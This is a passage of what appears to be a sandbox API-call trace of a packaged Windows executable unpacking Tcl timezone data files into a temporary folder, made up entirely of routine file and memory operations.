lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\East-Saskatchewan") returned 81 [0041.276] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\East-Saskatchewan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\east-saskatchewan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.277] GetFileType (hFile=0x10c) returned 0x1 [0041.277] htonl (hostlong=0xbe000000) returned 0xbe [0041.277] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.277] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbe, lpOverlapped=0x0) returned 1 [0041.278] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.278] CloseHandle (hObject=0x10c) returned 1 [0041.278] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dbf8 | out: hHeap=0x530000) returned 1 [0041.278] htonl (hostlong=0x40000000) returned 0x40 [0041.278] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.278] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.278] GetFileType (hFile=0x10c) returned 0x1 [0041.278] htonl (hostlong=0x12a25b00) returned 0x5ba212 [0041.278] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x605212, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.278] htonl (hostlong=0x8b000000) returned 0x8b [0041.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.278] htonl (hostlong=0x8b000000) returned 0x8b [0041.278] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.278] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.279] htonl (hostlong=0xb7000000) returned 0xb7 [0041.279] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb7) returned 0x550600 [0041.279] htonl (hostlong=0x8b000000) returned 0x8b [0041.279] htonl (hostlong=0xb7000000) returned 0xb7 [0041.279] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.279] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.279] CloseHandle (hObject=0x10c) returned 1 [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] GetLastError () returned 0x0 [0041.279] SetLastError (dwErrCode=0x0) [0041.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.279] GetFileType (hFile=0x10c) returned 0x1 [0041.279] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.279] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.279] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.279] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.279] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.279] CloseHandle (hObject=0x10c) returned 1 [0041.279] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.280] GetFileType (hFile=0x10c) returned 0x1 [0041.280] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.280] CloseHandle (hObject=0x10c) returned 1 [0041.280] GetLastError () returned 0x0 [0041.280] SetLastError (dwErrCode=0x0) [0041.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.280] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.280] GetFileType (hFile=0x10c) returned 0x1 [0041.280] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.280] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.280] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.280] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.281] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.281] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.281] CloseHandle (hObject=0x10c) returned 1 [0041.281] GetLastError () returned 0x0 [0041.281] SetLastError (dwErrCode=0x0) [0041.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Eastern") returned 71 [0041.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Eastern" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\eastern"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.281] GetLastError () returned 0x2 [0041.281] SetLastError (dwErrCode=0x2) [0041.281] GetLastError () returned 0x2 [0041.281] SetLastError (dwErrCode=0x2) [0041.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Eastern", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Eastern", lpFilePart=0x0) returned 0x46 [0041.281] GetLastError () returned 0x2 [0041.281] SetLastError (dwErrCode=0x2) [0041.281] GetLastError () returned 0x2 [0041.281] SetLastError (dwErrCode=0x2) [0041.281] GetLastError () returned 0x2 [0041.281] SetLastError (dwErrCode=0x2) [0041.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Eastern") returned 71 [0041.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Eastern" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\eastern"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.281] GetFileType (hFile=0x10c) returned 0x1 [0041.282] htonl (hostlong=0xb7000000) returned 0xb7 [0041.282] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.282] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb7, lpOverlapped=0x0) returned 1 [0041.283] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.283] CloseHandle (hObject=0x10c) returned 1 [0041.283] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.283] htonl (hostlong=0x30000000) returned 0x30 [0041.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.283] GetFileType (hFile=0x10c) returned 0x1 [0041.283] htonl (hostlong=0x9da25b00) returned 0x5ba29d [0041.283] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60529d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.283] htonl (hostlong=0x8d000000) returned 0x8d [0041.283] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0041.283] htonl (hostlong=0x8d000000) returned 0x8d [0041.283] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.284] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.284] htonl (hostlong=0xbb000000) returned 0xbb [0041.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbb) returned 0x55dd88 [0041.284] htonl (hostlong=0x8d000000) returned 0x8d [0041.284] htonl (hostlong=0xbb000000) returned 0xbb [0041.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.284] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.284] CloseHandle (hObject=0x10c) returned 1 [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] GetLastError () returned 0x0 [0041.284] SetLastError (dwErrCode=0x0) [0041.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.284] GetFileType (hFile=0x10c) returned 0x1 [0041.284] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.284] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.284] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.284] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.284] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.284] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.284] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.284] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.284] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.285] CloseHandle (hObject=0x10c) returned 1 [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.285] GetFileType (hFile=0x10c) returned 0x1 [0041.285] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.285] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.285] CloseHandle (hObject=0x10c) returned 1 [0041.285] GetLastError () returned 0x0 [0041.285] SetLastError (dwErrCode=0x0) [0041.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada") returned 63 [0041.285] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.285] GetFileType (hFile=0x10c) returned 0x1 [0041.285] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.285] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.285] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.286] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.286] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.286] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.286] CloseHandle (hObject=0x10c) returned 1 [0041.286] GetLastError () returned 0x0 [0041.286] SetLastError (dwErrCode=0x0) [0041.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Mountain") returned 72 [0041.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Mountain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\mountain"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.286] GetLastError () returned 0x2 [0041.286] SetLastError (dwErrCode=0x2) [0041.286] GetLastError () returned 0x2 [0041.286] SetLastError (dwErrCode=0x2) [0041.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Mountain", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Mountain", lpFilePart=0x0) returned 0x47 [0041.286] GetLastError () returned 0x2 [0041.286] SetLastError (dwErrCode=0x2) [0041.286] GetLastError () returned 0x2 [0041.286] SetLastError (dwErrCode=0x2) [0041.286] GetLastError () returned 0x2 [0041.286] SetLastError (dwErrCode=0x2) [0041.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Mountain") returned 72 [0041.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Canada\\Mountain" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\canada\\mountain"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.287] GetFileType (hFile=0x10c) returned 0x1 [0041.287] htonl (hostlong=0xbb000000) returned 0xbb [0041.287] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.287] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0041.292] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.297] CloseHandle (hObject=0x10c) 